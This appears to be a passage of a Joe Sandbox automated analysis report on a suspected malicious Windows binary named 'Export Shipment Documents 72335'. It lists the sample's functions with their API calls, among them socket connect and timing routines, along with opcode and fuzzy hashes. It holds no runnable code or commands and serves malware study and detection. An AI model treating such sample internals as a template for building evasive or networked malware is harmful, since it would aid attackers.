                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CursorMenuPopupTrack$Proc
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1300944170-0
                                                                                                                                                                                                          • Opcode ID: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                                                                          • Instruction ID: 600148c7f6f0e64f7aba5c2d0a58757112576a5c49d56a392ea253be37485a5b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 00aabaf84d80e4f8c92fc7d2a6c816b999107077810d41e1d32a7af9c3da8c6b
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 2B31E475244204ABE214DB48DC48FABB7A5FBC9711F14491EF64483390D7B96C4BC779
                                                                                                                                                                                                          Function 00448837 Relevance: 7.6, APIs: 5, Instructions: 89COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                                                          • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                                                          • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                                                          • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                                                            • Part of subcall function 004413F0: SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                                                                            • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                                                                            • Part of subcall function 004413F0: GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                                                                            • Part of subcall function 004413F0: SendMessageW.USER32(03061BB0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                                                                            • Part of subcall function 004413F0: SendMessageW.USER32(03061BB0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$EnableMessageSend$LongShow
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 142311417-0
                                                                                                                                                                                                          • Opcode ID: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                                                                          • Instruction ID: 53ead31d82dc60d0a1ec6489c26700cf05fac79e8a5bf65a12bf69c5108a1aee
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 63a7105258867651d9446b65671e60b54e1f680e017c4d0f27b0fbeeb6060130
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 942105B07053809BF7148E28C8C47AFB7D0FB95345F08482EF981A6391DBAC9845C72E
                                                                                                                                                                                                          Function 00449549 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • _memset.LIBCMT ref: 0044955A
                                                                                                                                                                                                            • Part of subcall function 00433A98: _wcspbrk.LIBCMT ref: 00433AAC
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001060,00000000,00000004), ref: 004495B3
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 004495C1
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 004495CE
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001060,00000000,?), ref: 004495FF
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend_wcslen$_memset_wcspbrk
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 1843234404-0
                                                                                                                                                                                                          • Opcode ID: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                                                                          • Instruction ID: 2eba0e6ca7bf2f01d6f4dc0284c8cedbdf4c7ea0b5caad0642d64795040b3bc6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: b21334e59b332bdcefcacb45badc01962a29afe58654cc2f886ab9dc01dd4065
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1821F87260430556E630EB15AC81BFBB3D8EBD0761F10483FEE4081280E67E9959D3AA
                                                                                                                                                                                                          Function 00455014 Relevance: 7.6, APIs: 5, Instructions: 78COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID:
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID:
                                                                                                                                                                                                          • Opcode ID: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                                                                          • Instruction ID: 4734ce3ce40af5b77ad59fd8baedf6a3e56741e39cc50bb30d89ac3ca2d3bd52
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 43986f9d4d7e017d9aea9f4dce7e52c9963f71054abe4abd36fa420e2ae722de
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 1321E0712006409BCB10EF29D994D6B73A8EF45321B40466EFE5597382DB34EC08CBA9
                                                                                                                                                                                                          Function 00445719 Relevance: 7.6, APIs: 5, Instructions: 76windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • IsWindowVisible.USER32(?), ref: 00445721
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0044573C
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00445773
                                                                                                                                                                                                          • _wcslen.LIBCMT ref: 004457A3
                                                                                                                                                                                                          • CharUpperBuffW.USER32(00000000,00000000), ref: 004457AD
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3087257052-0
                                                                                                                                                                                                          • Opcode ID: 707967777abbcb615846d4014dd15678eb91240126a64b2d293a4799175c36b7
                                                                                                                                                                                                          • Instruction ID: 00e09c3d40749c53521e9302b0eb92bb7bfe2d7d521d01ead8474e6f611d5aec
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 707967777abbcb615846d4014dd15678eb91240126a64b2d293a4799175c36b7
                                                                                                                                                                                                          • Instruction Fuzzy Hash: FA11E972601741BBF7105B35DC46F5B77CDAF65320F04443AF40AE6281FB69E84583AA
                                                                                                                                                                                                          Function 00459DCF Relevance: 7.6, APIs: 5, Instructions: 71COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • IsWindow.USER32(00000000), ref: 00459DEF
                                                                                                                                                                                                          • GetForegroundWindow.USER32 ref: 00459E07
                                                                                                                                                                                                          • GetDC.USER32(00000000), ref: 00459E44
                                                                                                                                                                                                          • GetPixel.GDI32(00000000,?,00000000), ref: 00459E4F
                                                                                                                                                                                                          • ReleaseDC.USER32(00000000,00000000), ref: 00459E8B
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Window$ForegroundPixelRelease
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4156661090-0
                                                                                                                                                                                                          • Opcode ID: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                                                                          • Instruction ID: f25aa70a507d7fb142791e963b89e5313ab4350e7ab13503248c443e15a863bf
                                                                                                                                                                                                          • Opcode Fuzzy Hash: c25ec76bf159445cc401153d518622b926736981535c7bd42fe0b2b106eefd61
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 76219D76600202ABD700EFA5CD49A5AB7E9FF84315F19483DF90597642DB78FC04CBA9
                                                                                                                                                                                                          Function 00464950 Relevance: 7.6, APIs: 5, Instructions: 68networkCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                            • Part of subcall function 004647A2: inet_addr.WSOCK32(?), ref: 004647C7
                                                                                                                                                                                                          • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 00464985
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000,00000002,00000001,00000006,00000000), ref: 00464993
                                                                                                                                                                                                          • connect.WSOCK32(00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649CD
                                                                                                                                                                                                          • WSAGetLastError.WSOCK32(00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 004649F4
                                                                                                                                                                                                          • closesocket.WSOCK32(00000000,00000000,00000000,00000000,00000000,00000010,00000002,00000001,00000006,00000000), ref: 00464A07
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: ErrorLast$closesocketconnectinet_addrsocket
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 245547762-0
                                                                                                                                                                                                          • Opcode ID: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                                                                          • Instruction ID: b27d5ee258410aac5bd3077dd9c53ce90635b59006b610d0ec7ee295a05cd03d
                                                                                                                                                                                                          • Opcode Fuzzy Hash: aaa03f654d2c2080970664bbc2635e6406c59b0d093f7dcd590a1c65d79e0220
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 3211DA712002109BD310FB2AC842F9BB3D8AF85728F04895FF594A72D2D7B9A885875A
                                                                                                                                                                                                          Function 0044710F Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                                                                                                                          • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                                                                                                                          • SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                                                                                                                          • BeginPath.GDI32(?), ref: 004471B7
                                                                                                                                                                                                          • SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Object$Select$BeginCreateDeletePath
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2338827641-0
                                                                                                                                                                                                          • Opcode ID: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                                                          • Instruction ID: ab30216038401830d00444c504d41f25dcbf82a6e2307e0a418987ed8484b610
                                                                                                                                                                                                          • Opcode Fuzzy Hash: f19e52de08adcd67550c2e9faff4417be3cdd69e9125f029607893bae639c511
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 7E2171B18083019FD320CF29AD44A1B7FACF74A724F14052FF654933A1EB789849CB69
                                                                                                                                                                                                          Function 0043770A Relevance: 7.6, APIs: 5, Instructions: 56sleepCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • Sleep.KERNEL32(00000000,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043771E
                                                                                                                                                                                                          • QueryPerformanceCounter.KERNEL32(?,?,00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043773C
                                                                                                                                                                                                          • Sleep.KERNEL32(00000000,?,?,?,?,004448B6,0000000F,?), ref: 0043775C
                                                                                                                                                                                                          • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,004448B6,0000000F,?), ref: 00437767
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: CounterPerformanceQuerySleep
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 2875609808-0
                                                                                                                                                                                                          • Opcode ID: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                                                          • Instruction ID: fd8a8a83491f03de43ea78fbc63302b75a2fa5438857304713168bbc83ca9150
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 901ea73111326f2a8af3d8a1217edfde6b6dff748f8bb26d3b0ac17b2ce0a9c5
                                                                                                                                                                                                          • Instruction Fuzzy Hash: EA11A3B64093119BC210EF1ADA88A8FB7F4FFD8765F004D2EF9C462250DB34D5598B9A
                                                                                                                                                                                                          Function 0046FCC6 Relevance: 7.5, APIs: 5, Instructions: 49windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • SendMessageW.USER32 ref: 0046FD00
                                                                                                                                                                                                          • SendMessageW.USER32(?,0000104C,00000000,?), ref: 0046FD2E
                                                                                                                                                                                                          • SendMessageW.USER32(?,00001015,?,?), ref: 0046FD4B
                                                                                                                                                                                                          • DestroyIcon.USER32(?), ref: 0046FD58
                                                                                                                                                                                                          • DestroyIcon.USER32(?), ref: 0046FD5F
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: MessageSend$DestroyIcon
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 3419509030-0
                                                                                                                                                                                                          • Opcode ID: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                                                                          • Instruction ID: ba7c1cc62690e465ab1dcb48fa3e0f79152c3dc78d34179caeeeb49ed344ab69
                                                                                                                                                                                                          • Opcode Fuzzy Hash: a24bc400bf7eaff3d1708451a80103ed5292b50ec6011cebb58ec712c1110a53
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 5F1182B15043449BE730DF14DC46BABB7E8FBC5714F00492EE6C857291D6B8A84A8B67
                                                                                                                                                                                                          Function 004175A2 Relevance: 7.5, APIs: 5, Instructions: 47COMMONLIBRARYCODE
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • __getptd.LIBCMT ref: 004175AE
                                                                                                                                                                                                            • Part of subcall function 00416C72: __getptd_noexit.LIBCMT ref: 00416C75
                                                                                                                                                                                                            • Part of subcall function 00416C72: __amsg_exit.LIBCMT ref: 00416C82
                                                                                                                                                                                                          • __amsg_exit.LIBCMT ref: 004175CE
                                                                                                                                                                                                          • __lock.LIBCMT ref: 004175DE
                                                                                                                                                                                                          • InterlockedDecrement.KERNEL32(?), ref: 004175FB
                                                                                                                                                                                                          • InterlockedIncrement.KERNEL32(03062D28), ref: 00417626
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4271482742-0
                                                                                                                                                                                                          • Opcode ID: cef6af0c730a10c674891530ba4a9f92a8997b3b581fa775581189220e01fce3
                                                                                                                                                                                                          • Instruction ID: de548182bd5f57d4f8c9f8a4c79293bfa6802d75d0085d2526eaa3c6a777046b
                                                                                                                                                                                                          • Opcode Fuzzy Hash: cef6af0c730a10c674891530ba4a9f92a8997b3b581fa775581189220e01fce3
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 9401AD31944A11AFC710ABA998497CE7BB0BB11724F0540ABE80063791CB3CA9C1CFEE
                                                                                                                                                                                                          Function 004555B8 Relevance: 7.5, APIs: 5, Instructions: 45windowCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455640
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                                                                                                                          • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                                                                                                                          • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                                                                                                                          • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                                                                                                          • Snapshot File: hcaresult_0_2_400000_Export Shipment Documents 72335.jbxd
                                                                                                                                                                                                          Similarity
                                                                                                                                                                                                          • API ID: Destroy$DeleteObjectWindow$Icon
                                                                                                                                                                                                          • String ID:
                                                                                                                                                                                                          • API String ID: 4023252218-0
                                                                                                                                                                                                          • Opcode ID: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                                                                          • Instruction ID: d1816f9fa450f538fb043821254e2bd2cfb9ade9207d957631f6d0e9d50691b6
                                                                                                                                                                                                          • Opcode Fuzzy Hash: 187bd120907745c88baacffad0920a9106e1cca1ea6db424662e0a83cd01c53e
                                                                                                                                                                                                          • Instruction Fuzzy Hash: 05015E70300605ABCB20DF65D9D4B2B77A8BF14712B50452AFD04D7346EB38EC48CB69
                                                                                                                                                                                                          Function 0046032B Relevance: 7.5, APIs: 5, Instructions: 43windowtimeCOMMON
                                                                                                                                                                                                          Download Yara Rule
                                                                                                                                                                                                          APIs
                                                                                                                                                                                                          • GetDlgItem.USER32(?,000003E9), ref: 00460342
                                                                                                                                                                                                          • GetWindowTextW.USER32(00000000,00000100,00000100), ref: 00460357
                                                                                                                                                                                                          • MessageBeep.USER32(00000000), ref: 0046036D
                                                                                                                                                                                                          • KillTimer.USER32(?,0000040A), ref: 00460392
                                                                                                                                                                                                          • EndDialog.USER32(?,00000001), ref: 004603AB
                                                                                                                                                                                                          Memory Dump Source
                                                                                                                                                                                                          • Source File: 00000000.00000002.1445248630.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445195742.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445334540.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445384188.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          • Associated: 00000000.00000002.1445450681.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                                                          Joe Sandbox IDA Plugin
